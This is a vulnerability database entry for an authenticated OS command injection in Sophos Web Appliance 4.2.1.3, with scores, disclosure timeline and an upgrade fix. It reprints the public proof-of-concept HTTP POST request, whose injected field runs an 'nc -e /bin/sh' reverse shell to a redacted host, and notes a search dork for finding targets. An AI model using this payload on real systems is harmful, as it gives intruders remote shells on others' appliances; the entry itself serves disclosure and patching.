Sophos Web Appliance 4.2.1.3 /index.php c os command injection

CVSS Meta Temp Score
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Current Exploit Price (≈)
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CTI Interest Score
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5.7$0-$5k0.31

Summaryinfo

A vulnerability, which was classified as critical, has been found in Sophos Web Appliance 4.2.1.3. Affected by this vulnerability is an unknown functionality of the file /index.php. The manipulation of the argument c with the input logs leads to os command injection. Furthermore, there is an exploit available. It is advisable to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Sophos Web Appliance 4.2.1.3. This issue affects an unknown functionality of the file /index.php. The manipulation of the argument c with the input value logs leads to a os command injection vulnerability. Using CWE to declare the problem leads to CWE-78. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was shared 11/04/2016 by Matt Bergin as KL-001-2016-009 : Sophos Web Appliance Remote Code Execution as confirmed mailinglist post (Full-Disclosure). The advisory is shared at seclists.org. The vendor cooperated in the coordination of the public release. The mailinglist post contains:

An authenticated user of any privilege can execute arbitrary system commands as the non-root webserver user.
The exploitation is known to be easy. The attack may be initiated remotely. The successful exploitation needs a simple authentication. Technical details as well as a public exploit are known. MITRE ATT&CK project uses the attack technique T1202 for this issue.

A public exploit has been developed by Matt Bergin in HTTP POST Request and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 34 days. During that time the estimated underground price was around $0-$5k. By approaching the search of inurl:index.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

POST /index.php?c=logs HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.6.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 305
Connection: close


STYLE=590fca17b230e8cdba0394cfa28ef2eb&period=today&xperiod=&sb_xperiod=xdays&startDate=&txt_time_start=12%3A00%20AM&endDate=&txt_time_end=11%3A59%20PM&txt_filter_user_timeline=test&action=search&by=user_timeline`nc%20-e%20/bin/sh%20[redacted]%209191`&search=test&sort=time&multiplier=1&start=&end=&direction=1

Upgrading to version 4.3 eliminates this vulnerability. A possible mitigation has been published even before and not after the disclosure of the vulnerability.

The entry VDB-93268 is related to this item. If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.3
VulDB Meta Temp Score: 5.7

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
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💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Os command injection
CWE: CWE-78 / CWE-77 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Matt Bergin
Programming Language: 🔍
Download: 🔍
Google Hack: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Web Appliance 4.3

Timelineinfo

09/09/2016 🔍
09/28/2016 +19 days 🔍
10/13/2016 +15 days 🔍
11/04/2016 +22 days 🔍
11/04/2016 +0 days 🔍
11/04/2016 +0 days 🔍
05/26/2019 +933 days 🔍

Sourcesinfo

Vendor: sophos.com

Advisory: KL-001-2016-009 : Sophos Web Appliance Remote Code Execution
Researcher: Matt Bergin
Status: Confirmed
Coordinated: 🔍

GCVE (VulDB): GCVE-100-93269
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 11/04/2016 22:32
Updated: 05/26/2019 13:01
Changes: 11/04/2016 22:32 (58), 05/26/2019 13:01 (1)
Complete: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

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